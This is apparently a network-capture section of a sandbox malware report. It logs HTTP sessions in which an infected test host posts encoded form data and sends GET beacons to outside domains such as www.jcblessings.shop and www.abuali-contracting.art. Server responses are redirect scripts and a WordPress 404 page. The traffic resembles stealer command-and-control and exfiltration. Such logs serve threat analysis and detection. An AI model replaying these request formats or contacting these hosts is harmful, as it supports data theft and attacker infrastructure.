31 74 70 6f 79 56 6c 54 46 61 36 76 30 42 39 31 47 4f 2f 5a 74 49 79 4b 51 6d 6d 51 52 52 39 59 79 2b 53 54 54 77 63 4b 4e 55 39 4f 31 57 59 4d 36 31 69 6f 61 61 41 47 77 4b 46 78 56 52 36 6a 52 64 [TRUNCATED] Data Ascii: 6v1=z62xfISa3qcWhnfYrrMTpsVl9893LaU2kbkzN/5XSC725CecoXdu1xYhb3z8w4Cg14nXLX7glkrcvf+XJen9GncYgAgS94hEjFwKe2+0cdMbUdyh0Qry4QcgXzo69ncJHGsaKxPoxuRK6tPk6EHJMi65NUUtJ4PPVzrWUICjSeOUcKjPhx6yXL2gJLMZAPQw3vxuutHI6NCqkHPYGVYODLIU4uoYr+RJPZAI9vePzYIv5JBqq+gbeChLc/ixuFWx35Xb8Teie8Y01tpoyVlTFa6v0B91GO/ZtIyKQmmQRR9Yy+STTwcKNU9O1WYM61ioaaAGwKFxVR6jRdYcM0J51qPKJhL01GBKtmTZM35n/w4FoKb9OJZnpEJfbHNp9o3lf1ewMw+QLiB8VVezeHvkddblCVoGMrN3SXccN6mN3+g4faR0cCENdkccgTaL1g6HExfvdIw5BhYH3hrP+zH7Uh2745scWXUWp/BBVjoXmtNQtVE4fmdFmwYRYwrbA0GnWyCY/iP++KQR5+WRa0OdMOBZL8uClTlDzb+iRc87iOFvOaXmTzW3K7SiUU8ePKE4ubG0Ds+caJEvPn0E23xNoP28CJd69Uo2t5tUQQRqxf0inKq5gP58MeI0Y9AgE2HXwfAnl8oeUbXUGtSXeCGv6kBudkO/+ePgdt0M5Mkwl7RB0JSQv9tI6l8GtJ+1i9EjLVxtZKPUg+yxwAzJCdpmFy+Io1t67By8ba55vv3cVVQEhLs/jmsufI4mQzEx2tRlDaJc3MEh8Sek+Vzj+q4ZGBB5+zt9/QPJ8FH1aodszsVs7fQ/G5/UlzhMeSLOYZ2Z/xdxaYCF4hV/suZ38Z25GbhS4ijmoi+KtqbfwwH5bhBnYDeMm6d55KJdnM3xTN6vaphigYG7rrlEPKFveII6XMIDdnF2LaF/PBvlfO9bOgoZ8Te6u3ZWfOYR6u+XPIm9C3KbtHQLbDs09ZU4Mg842jEFl8mSlVgMyp30SwYv/WwJl20f [TRUNCATED]
Oct 8, 2024 15:27:26.200455904 CEST	5376	OUT	Data Raw: 41 65 64 54 43 72 39 51 70 47 66 2b 69 65 54 35 38 59 6b 6a 70 4b 41 4f 64 6f 5a 58 32 52 66 2b 68 43 46 36 38 55 66 67 53 4b 64 4a 31 6d 59 76 6b 62 61 63 39 74 68 71 4e 72 6d 6f 4a 4f 36 36 67 7a 31 7a 2b 2f 76 56 75 38 68 51 75 7a 52 78 71 53 Data Ascii: AedTCr9QpGf+ieT58YkjpKAOdoZX2Rf+hCF68UfgSKdJ1mYvkbac9thqNrmoJO66gz1z+/vVu8hQuzRxqSj82epvXtOn5BlFlJAzQDAcEC/OY1yp5QZgCCYmS4g0OKoL3LwiAt15D2C+kX0kmD35rpHRrcSlWgps8cMsQqa1FVx/g94lWo6raz50M2yLNE51RAPam+EtNHeEaDX72HrpmG/0sJWvMQ+pWhwR5nPgWW84ogukEU5

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.11.20	49804	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:27:28.840235949 CEST	528	OUT	GET /5odm/?6v1=+4eRc86t7Z4Lu1vSo5s4ibVe9c8AVZg+6YEBK/5/ZFfdoS/+nWlR7TwfbXGowvaIyJWSRQjGhjbomPG8LKSdCCcZhRRaoLZ0okxxUHTaZ+JgWvWP13maiBg=&dX7=sns4Fhmpql HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.uky09q.vip Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Oct 8, 2024 15:27:28.943722963 CEST	394	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 08 Oct 2024 13:27:28 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 36 76 31 3d 2b 34 65 52 63 38 36 74 37 5a 34 4c 75 31 76 53 6f 35 73 34 69 62 56 65 39 63 38 41 56 5a 67 2b 36 59 45 42 4b 2f 35 2f 5a 46 66 64 6f 53 2f 2b 6e 57 6c 52 37 54 77 66 62 58 47 6f 77 76 61 49 79 4a 57 53 52 51 6a 47 68 6a 62 6f 6d 50 47 38 4c 4b 53 64 43 43 63 5a 68 52 52 61 6f 4c 5a 30 6f 6b 78 78 55 48 54 61 5a 2b 4a 67 57 76 57 50 31 33 6d 61 69 42 67 3d 26 64 58 37 3d 73 6e 73 34 46 68 6d 70 71 6c 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?6v1=+4eRc86t7Z4Lu1vSo5s4ibVe9c8AVZg+6YEBK/5/ZFfdoS/+nWlR7TwfbXGowvaIyJWSRQjGhjbomPG8LKSdCCcZhRRaoLZ0okxxUHTaZ+JgWvWP13maiBg=&dX7=sns4Fhmpql"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.11.20	49805	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:27:34.057888985 CEST	803	OUT	POST /agok/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.jcblessings.shop Origin: http://www.jcblessings.shop Referer: http://www.jcblessings.shop/agok/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 65 75 52 74 59 33 5a 61 77 59 66 41 4f 4a 4d 34 6e 51 6a 71 44 2f 63 72 67 41 6e 69 45 68 51 65 47 45 69 45 64 68 4c 33 70 32 51 48 38 4c 59 42 2b 43 63 46 6d 46 7a 71 30 4c 76 76 61 76 49 44 45 79 71 69 4c 70 79 63 79 65 46 64 6b 4c 43 56 61 47 72 2b 71 77 74 65 46 70 49 6c 53 53 42 6a 61 7a 36 76 73 43 44 4d 4b 38 72 67 75 65 67 7a 53 65 56 4a 7a 58 75 79 4b 72 53 7a 61 54 70 54 75 6f 4a 58 44 6b 4c 36 6f 76 41 31 36 6f 33 62 4b 4e 2f 35 39 38 6f 41 36 37 37 66 67 59 43 6b 74 52 51 75 76 36 62 33 6d 7a 39 78 75 79 5a 46 71 50 4c 72 2b 30 37 32 6f 2b 69 74 50 32 49 52 39 67 3d 3d Data Ascii: 6v1=euRtY3ZawYfAOJM4nQjqD/crgAniEhQeGEiEdhL3p2QH8LYB+CcFmFzq0LvvavIDEyqiLpycyeFdkLCVaGr+qwteFpIlSSBjaz6vsCDMK8rguegzSeVJzXuyKrSzaTpTuoJXDkL6ovA16o3bKN/598oA677fgYCktRQuv6b3mz9xuyZFqPLr+072o+itP2IR9g==

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.11.20	49806	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:27:36.698362112 CEST	823	OUT	POST /agok/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.jcblessings.shop Origin: http://www.jcblessings.shop Referer: http://www.jcblessings.shop/agok/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 220 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 65 75 52 74 59 33 5a 61 77 59 66 41 50 70 38 34 68 48 2f 71 43 66 63 6f 2b 77 6e 69 50 42 51 53 47 45 2b 45 64 6b 7a 6e 70 45 45 48 2f 71 6f 42 2f 44 63 46 6e 46 7a 71 7a 37 76 71 55 50 49 4b 45 79 6d 51 4c 70 65 63 79 61 74 64 6b 50 4f 56 64 78 2f 35 72 67 74 63 4f 4a 49 6e 66 79 42 6a 61 7a 36 76 73 43 57 6a 4b 38 6a 67 75 74 6f 7a 53 37 68 4f 36 33 75 78 4c 72 53 7a 51 7a 70 66 75 6f 4a 35 44 6c 57 66 6f 70 45 31 36 74 62 62 4e 59 54 36 6f 73 6f 4f 77 62 36 6f 72 59 4c 73 6a 6c 77 46 72 37 33 54 76 32 35 32 6d 45 49 66 33 39 2f 50 39 6e 6e 45 73 4f 62 46 4e 30 4a 4b 67 69 4e 69 41 6d 51 47 33 31 73 34 78 78 42 74 71 2f 38 75 69 46 55 3d Data Ascii: 6v1=euRtY3ZawYfAPp84hH/qCfco+wniPBQSGE+EdkznpEEH/qoB/DcFnFzqz7vqUPIKEymQLpecyatdkPOVdx/5rgtcOJInfyBjaz6vsCWjK8jgutozS7hO63uxLrSzQzpfuoJ5DlWfopE16tbbNYT6osoOwb6orYLsjlwFr73Tv252mEIf39/P9nnEsObFN0JKgiNiAmQG31s4xxBtq/8uiFU=

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.11.20	49807	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:27:39.338555098 CEST	1289	OUT	POST /agok/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.jcblessings.shop Origin: http://www.jcblessings.shop Referer: http://www.jcblessings.shop/agok/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 7368 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 65 75 52 74 59 33 5a 61 77 59 66 41 50 70 38 34 68 48 2f 71 43 66 63 6f 2b 77 6e 69 50 42 51 53 47 45 2b 45 64 6b 7a 6e 70 45 63 48 38 59 67 42 2b 67 6b 46 6b 46 7a 71 77 37 76 72 55 50 4a 61 45 78 57 55 4c 70 43 6d 79 63 70 64 6d 71 53 56 63 44 48 35 79 51 74 63 42 70 49 6d 53 53 42 4d 61 77 53 72 73 43 47 6a 4b 38 6a 67 75 73 59 7a 62 4f 56 4f 38 33 75 79 4b 72 53 2f 61 54 70 37 75 73 64 50 44 6c 69 6c 6f 5a 6b 31 36 4e 4c 62 50 75 6e 36 31 63 70 6f 33 62 36 77 72 59 58 6a 6a 68 51 4a 72 34 72 70 76 78 4e 32 6b 67 78 70 67 63 7a 30 6e 48 62 74 76 64 69 6a 4c 6e 67 63 70 43 35 61 4f 32 45 38 31 6c 38 31 34 42 38 6e 35 64 49 49 2f 46 58 78 6d 45 42 49 34 2f 7a 58 67 62 2f 30 78 6e 6e 46 78 54 61 48 76 54 59 58 54 4c 38 71 6c 39 6a 7a 66 71 6e 6e 49 52 56 73 41 58 4f 42 71 55 67 30 74 75 4b 35 68 6d 41 67 6f 63 4d 79 4b 70 66 7a 61 71 72 4c 42 30 6b 46 6c 71 35 69 51 41 30 32 42 61 5a 76 39 2b 32 35 77 33 4d 75 30 73 76 4f 7a 68 53 77 71 63 34 46 42 6c 42 4e 78 4f 5a 46 54 2f 38 70 61 4e [TRUNCATED] Data Ascii: 6v1=euRtY3ZawYfAPp84hH/qCfco+wniPBQSGE+EdkznpEcH8YgB+gkFkFzqw7vrUPJaExWULpCmycpdmqSVcDH5yQtcBpImSSBMawSrsCGjK8jgusYzbOVO83uyKrS/aTp7usdPDliloZk16NLbPun61cpo3b6wrYXjjhQJr4rpvxN2kgxpgcz0nHbtvdijLngcpC5aO2E81l814B8n5dII/FXxmEBI4/zXgb/0xnnFxTaHvTYXTL8ql9jzfqnnIRVsAXOBqUg0tuK5hmAgocMyKpfzaqrLB0kFlq5iQA02BaZv9+25w3Mu0svOzhSwqc4FBlBNxOZFT/8paNHyJmSogBq/7PC4/dPnzYWLfCRZczFGkitTxB472cnYp5D+jTYG6bPoyHU967UT2/YOj2yAPmQViMOFW9AbxvVprGUZlr4jcwikGlAf33Ee6vwzDtcXSqXuX7ya6c5lW9vUbWjgedS5eQXoX6ZQNoDZBjHbaYwCMbiT+ZViUebQKpdvaWVEPeEqEFVX7WDbb+DDhKQA04XXGeiO9jQdeN6jzWEFy+td7wTZxbloetrvdsgGCvxY27Z/DxSg5p4m3c8Zmap+2pybb15nygcBMllF84gqC2uF24lH8D7XINuhSYT62hLwvcgsWtBloI+wqhpzOPM9dOB5chxvxnts3Vaqi09+q
Oct 8, 2024 15:27:39.338604927 CEST	2578	OUT	Data Raw: 70 56 39 4e 67 58 59 34 67 79 5a 4a 6d 31 47 43 46 4e 44 74 5a 34 4f 6b 54 71 2b 64 74 5a 38 49 59 62 46 55 42 70 4c 47 56 6f 6c 4d 6e 77 62 72 76 52 47 43 76 62 4a 6d 6f 7a 50 7a 68 4e 34 53 73 6e 42 59 55 6e 70 35 64 42 76 68 71 6a 2b 49 64 4d Data Ascii: pV9NgXY4gyZJm1GCFNDtZ4OkTq+dtZ8IYbFUBpLGVolMnwbrvRGCvbJmozPzhN4SsnBYUnp5dBvhqj+IdMpf+szqXMogOY6ixj5vO7qto+/dBJktV55F3ksK+k9GeHF4CLwJ7+/ngqrhKtzw1syeSbXDahud0orUdXpzeFlruVJkgwmm+QykXNMX0ncZWlDxZdPItyXNXYvBIO4QcQm9qSDCu//2TPrJW32PwwsFJVIH6HmBhlA
Oct 8, 2024 15:27:39.338654041 CEST	4105	OUT	Data Raw: 74 67 6c 65 38 6d 77 45 67 4a 4b 4b 34 38 2b 76 62 76 52 56 4d 39 37 38 2b 6a 39 39 49 42 4a 39 41 69 54 2f 4f 37 50 66 56 6a 35 7a 73 6a 77 2b 68 70 32 6c 5a 53 71 52 4c 58 47 54 73 56 53 4b 55 34 63 78 39 46 31 6c 4a 62 36 5a 42 76 71 76 35 4b Data Ascii: tgle8mwEgJKK48+vbvRVM978+j99IBJ9AiT/O7PfVj5zsjw+hp2lZSqRLXGTsVSKU4cx9F1lJb6ZBvqv5K4Jo9wT5QVf8EoH/snhgnR9k2QdszPprKo/LDdrlHMlY16f/7i50BSx1oeX2qN2ZcuZKswpac0ybRcGmsC0+A+WoFcKNXrB++wVBHMF9otrIsNJxqrjJdllBfda1seBrHSO7SQDRtTayLwM1Tm4NP4BWwpN1s6csTe

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.11.20	49808	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:27:41.976488113 CEST	534	OUT	GET /agok/?dX7=sns4Fhmpql&6v1=Ts5NbAkq3brUD6k3jTHyJ+UO8CieYDwmNk61ekvRrCQjvt17+TUO2Vz326ytVI14CQTLXaKHrat2tauAamf9k3ZiNLAZXRVdeSDhlCS5Bdnbn/cRfbAtsEM= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.jcblessings.shop Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Oct 8, 2024 15:27:42.080481052 CEST	394	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 08 Oct 2024 13:27:42 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 64 58 37 3d 73 6e 73 34 46 68 6d 70 71 6c 26 36 76 31 3d 54 73 35 4e 62 41 6b 71 33 62 72 55 44 36 6b 33 6a 54 48 79 4a 2b 55 4f 38 43 69 65 59 44 77 6d 4e 6b 36 31 65 6b 76 52 72 43 51 6a 76 74 31 37 2b 54 55 4f 32 56 7a 33 32 36 79 74 56 49 31 34 43 51 54 4c 58 61 4b 48 72 61 74 32 74 61 75 41 61 6d 66 39 6b 33 5a 69 4e 4c 41 5a 58 52 56 64 65 53 44 68 6c 43 53 35 42 64 6e 62 6e 2f 63 52 66 62 41 74 73 45 4d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?dX7=sns4Fhmpql&6v1=Ts5NbAkq3brUD6k3jTHyJ+UO8CieYDwmNk61ekvRrCQjvt17+TUO2Vz326ytVI14CQTLXaKHrat2tauAamf9k3ZiNLAZXRVdeSDhlCS5Bdnbn/cRfbAtsEM="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.11.20	49809	66.198.240.15	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:27:47.570602894 CEST	821	OUT	POST /2ryn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.abuali-contracting.art Origin: http://www.abuali-contracting.art Referer: http://www.abuali-contracting.art/2ryn/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 62 4c 54 72 75 6f 37 73 37 56 64 66 41 2b 59 4d 32 49 4f 59 54 30 55 6e 6a 53 5a 47 6f 44 4a 4a 76 6d 58 66 39 46 31 57 4c 6c 72 63 73 79 66 43 72 4c 69 51 71 66 41 41 37 53 79 64 39 7a 74 7a 64 48 37 31 31 2f 45 36 55 6f 63 71 37 41 64 77 44 6f 46 43 79 4a 57 72 74 53 47 48 59 71 63 72 4b 32 56 49 32 31 30 74 72 6f 44 34 69 48 36 52 6f 45 2b 7a 41 69 46 79 7a 78 30 71 47 57 70 45 51 61 43 77 58 50 43 66 4f 6c 68 50 6c 6a 71 6b 63 4a 6c 64 62 47 6a 54 36 69 69 36 56 66 43 31 53 49 56 57 47 4b 2f 77 79 30 4e 51 36 53 76 48 75 41 6f 2b 59 45 35 4e 49 47 74 4c 7a 38 53 76 43 51 3d 3d Data Ascii: 6v1=bLTruo7s7VdfA+YM2IOYT0UnjSZGoDJJvmXf9F1WLlrcsyfCrLiQqfAA7Syd9ztzdH711/E6Uocq7AdwDoFCyJWrtSGHYqcrK2VI210troD4iH6RoE+zAiFyzx0qGWpEQaCwXPCfOlhPljqkcJldbGjT6ii6VfC1SIVWGK/wy0NQ6SvHuAo+YE5NIGtLz8SvCQ==
Oct 8, 2024 15:27:47.901070118 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:27:47 GMT Server: Apache X-Powered-By: PHP/8.1.29 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://abuali-contracting.art/wp-json/>; rel="https://api.w.org/" Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 24156 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 6b 77 e4 c6 91 20 fa 59 7d ce fd 0f 50 e9 48 cd 92 0a 28 bc 1f 64 b3 6d 89 92 6c cd b6 2c 1f b7 6c df b5 5b 87 07 05 a0 48 74 a3 0a 65 a0 8a 0f d1 fc 30 1e db eb f5 de 5f b1 bb b3 d6 e8 8e c7 c7 e3 3b 3b c7 fb 4b d8 ff e6 46 44 e2 fd 2a d4 a3 bb a5 71 ab 45 12 48 44 46 46 44 46 44 46 24 32 13 0f de fc f0 b3 93 cf ff f3 0f 3f e2 ce 97 b3 e0 e1 bd 07 f8 87 73 fd e8 78 10 2d 83 01 17 d8 f3 b3 e3 81 1d 0d b8 45 e4 4d fd ab e3 41 78 76 08 b0 cb 45 7c 38 1e 87 67 0b 61 e6 8d e7 f1 5b 03 ac ea d9 ee c3 7b 6f 3c 98 79 4b 9b 73 ce ed 28 f6 96 c7 83 1f 7f fe 31 6f 0e b8 71 f6 64 6e cf bc e3 c1 85 ef 5d 2e c2 68 39 e0 9c 70 be f4 e6 00 79 e9 bb cb f3 63 d7 bb f0 1d 8f a7 9b 11 e7 cf fd a5 6f 07 7c ec d8 81 77 2c 11 9e 7b 6f bc f1 e0 4d 9e e7 de 0f 02 78 ce 7d 36 f7 b8 c7 1f 7d c6 a9 82 21 c8 1c cf d9 7e 18 7b a1 e0 84 33 8e e7 1f fe 5f 08 bd f4 97 81 f7 f0 c1 98 fd c5 92 02 25 51 38 09 97 71 81 8e 79 e8 cf 5d ef 8a d1 5c 02 3d f3 e6 5e 64 2f c3 a8 00 5d a1 e2 e0 fd 4f 3e 83 [TRUNCATED] Data Ascii: kw Y}PH(dml,l[Hte0_;;KFDqEHDFFDFDF$2?sx-EMAxvE\|8ga[{o<yKs(1oqdn].h9pyco\|w,{oMx}6}!~{3_%Q8qy]\=^d/]O>CFN#v"b/K?q8\|v=oK]-&''c"`4Yd/?`l ?;h5<%n=Y#vL]dV_z3DQRcX<"}PPJeV$%^mI_D$X+@.@Jh$D`=Y/\}sKRM:5,+%l2WZT.h?e%/ 5yvQjQ]E,F\SbmHR"M(ZV<E)$iYZGQNZ'8)r[0)nZd>8!*
Oct 8, 2024 15:27:47.901103020 CEST	1289	IN	Data Raw: 2a ea 2a 0a fa fa a7 a5 17 78 8b f3 70 8e e6 f3 9e a5 eb 9a a8 6b 86 68 e9 2a 3c 0b c2 b3 70 70 98 1b eb 27 33 fb cc fb 6c f2 d4 73 96 1b 34 72 b9 e0 93 41 ec c9 78 b5 08 42 db 8d c1 35 89 b2 fa 64 2c 1a 4f c6 4e 14 2e 16 9e cb eb 96 69 a8 3c 36 Data Ascii: *xpkh<pp'3ls4rAxB5d,ON.i<6 ;<6}w9bPG,zGCMxgKo\vl~M~x7,X*5aXJgMC``tU<66R6RuXu{F.
Oct 8, 2024 15:27:47.901115894 CEST	1289	IN	Data Raw: 20 24 08 32 20 66 58 86 8b c1 c8 16 a6 21 ce 3c eb a2 c8 29 f2 e2 8a 7b 3f f2 ed 00 10 dd 66 d6 01 06 18 46 1f d9 a0 e6 b9 7d 0c 6f c2 9f 7b 5f 1c 2f 0f ec 91 07 12 c1 06 72 39 2d f1 39 73 1c 35 ea d9 a0 04 9d b5 14 e2 c8 39 06 81 0a 20 44 f0 c0 Data Ascii: $2 fX!<){?fF}o{_/r9-9s59 Do#_You$FArQq\{\|m<?g9J\H\q\|\|C6D4>rcyK"u?pG}z&B4\|n`n![2y\|/Aed8KGe`
Oct 8, 2024 15:27:47.901308060 CEST	1289	IN	Data Raw: f4 c4 d5 7e c4 a0 c8 8d c2 05 3f f5 71 be fd 70 12 ac a2 03 49 5f 5c 0d b9 d8 86 98 0b 63 61 c9 14 df 1e 1e 6d 06 79 46 b2 07 52 02 e0 eb 2d cd c6 7f aa 78 c4 3a 81 8c fd a8 dc 21 ea e2 ea a8 2c 86 a3 92 94 93 b1 58 16 01 ee 29 44 0a 90 79 a4 af Data Ascii: ~?qpI_\camyFR-x:!,X)DySg"EG`?yh#`<ri!_.8B ~(t*+_r=0`ZB!d+t'erOb8=Ay<`Cv31W60^W&q
Oct 8, 2024 15:27:47.901340961 CEST	1289	IN	Data Raw: 1f df 07 8f c2 16 8b 37 88 07 d7 03 b3 0d 4c 2d 1d 99 01 b4 cc a8 15 4d ba f8 26 2d ab 07 6a 9d 26 9a 49 13 04 b0 be 22 b9 6a 6f 6a af 02 e6 65 da 5e e1 e2 cc 6d 63 c3 55 f8 f2 1b f3 66 5a 47 6d 88 d6 bd f7 ce c9 de ec ed 5f c3 18 d5 32 28 95 04 Data Ascii: 7L-M&-j&I"joje^mcUfZGm_2(Sz!20-5=8F5sw-qM4tz/3!z_n7EWT!RW>@a+./*5QzIp0"$0}MIK4i7CwB9}D\\+Q
Oct 8, 2024 15:27:47.901369095 CEST	1289	IN	Data Raw: 00 51 34 9c 89 7d d4 fc 98 e7 a3 b3 c9 a1 38 92 64 75 24 99 7a 1b 14 06 1c 30 a0 4b 22 a2 d3 27 b6 b4 16 30 43 2c 1a 23 49 5f 07 2f 13 62 cd 36 8d b5 80 29 62 0b 70 2b 5a 11 3c 89 3a d8 6c 20 2d b2 c2 39 2a 06 91 ac 0c b8 9e e3 ba f0 44 30 86 2d Data Ascii: Q4}8du$z0K"'0C,#I_/b6)bp+Z<:l -9*D0-9kG8e%XK6[0,G{0G,]Z5p `;'( - )sxkla+;TAhI,O`'k:wY"P$Ehfwn1aJn<$U\|
Oct 8, 2024 15:27:47.901505947 CEST	1289	IN	Data Raw: 7a 8b f9 9c 7b 57 10 87 3b 3e ce 31 81 94 0d 53 34 5b b8 4d bd 29 58 99 55 e5 33 4b 94 6b 13 30 d9 9c 4c ca 59 4b d2 1c 9d 4d ec 03 7d 24 a9 c6 48 96 8d 91 34 e4 c4 b7 b1 f0 40 d2 b4 11 24 d3 b2 ac 0e f1 70 3b c8 54 da 9a ae 3a cf bc ed a2 87 6c Data Ascii: z{W;>1S4[M)XU3Kk0LYKM}$H4@$p;T:loeYI5/dIo]b5hFb.,FnDk2)Ew91Ru]>h>wt'#5!(/jTACTI#I\v@MPUeeXgfVX
Oct 8, 2024 15:27:47.901642084 CEST	1289	IN	Data Raw: f6 96 71 0f 0b df a8 02 50 76 56 25 65 e5 47 5c 69 63 28 27 43 6c d1 5e 9f 80 72 04 ec 68 4e ae b8 d7 74 0d 02 b6 3a 0e 30 54 17 b4 71 c9 f1 37 65 64 b4 32 a5 42 21 2b 2b 6e 76 29 34 34 84 96 de cd 84 91 2e e9 c6 05 7c 40 19 c6 4d e5 27 1e 66 ac Data Ascii: qPvV%eG\ic('Cl^rhNt:0Tq7ed2B!++nv)44.\|@M'fb'Ox\|{~\|dAAJzJ\W86]O*mYtxwt+Y%Kv~SdR&r1)w-~+~YEP-cn>aTXY"d~ijEJ(Q
Oct 8, 2024 15:27:47.901702881 CEST	1289	IN	Data Raw: e7 16 c8 fb 67 9d 5b 20 ef 91 6d 6e 81 b5 67 96 b9 05 e6 2d b2 cb 2d 5a d9 2d ab dc bd c1 fe d9 e4 36 6d 6d 93 45 6e dd 55 1b 65 8f db aa da 46 59 e3 d6 ac f4 cf 16 b7 6e a2 57 96 b8 05 f6 de d9 e1 36 ce af 57 56 b8 4d d7 f6 c9 06 b7 c0 bb 51 16 Data Ascii: g[ mng--Z-6mmEnUeFYnW6WVMQm$Y6+n+1Aln=D.{&-qKmImec8^YX}mG\|{d[[yY6=7>O$pbN$ioFvnnRlx>k@
Oct 8, 2024 15:27:47.901729107 CEST	1289	IN	Data Raw: 7a 0d b3 f8 35 77 69 aa 4d 75 15 72 2a 4d 56 1d 6f 22 99 9a 67 ab b2 68 41 e0 2b ed ee 90 0b 6f 97 fa 71 25 ef 5f 50 f2 d6 82 5a 97 50 34 64 14 5d 1e 3b 93 3b 0c 3d 8a a3 7a 96 6b b9 13 90 3f 48 5a 33 21 b5 9b 4a f0 d7 d4 6d f1 c5 cb bd c6 4a 57 Data Ascii: z5wiMurMVo"ghA+oq%_PZP4d];;=zk?HZ3!JmJWACK8hji6Uh5d[S ^(A"jd[9:h;ck,td0dd1)t:u[6Hgyj]sJFPBxNvwbQno] g
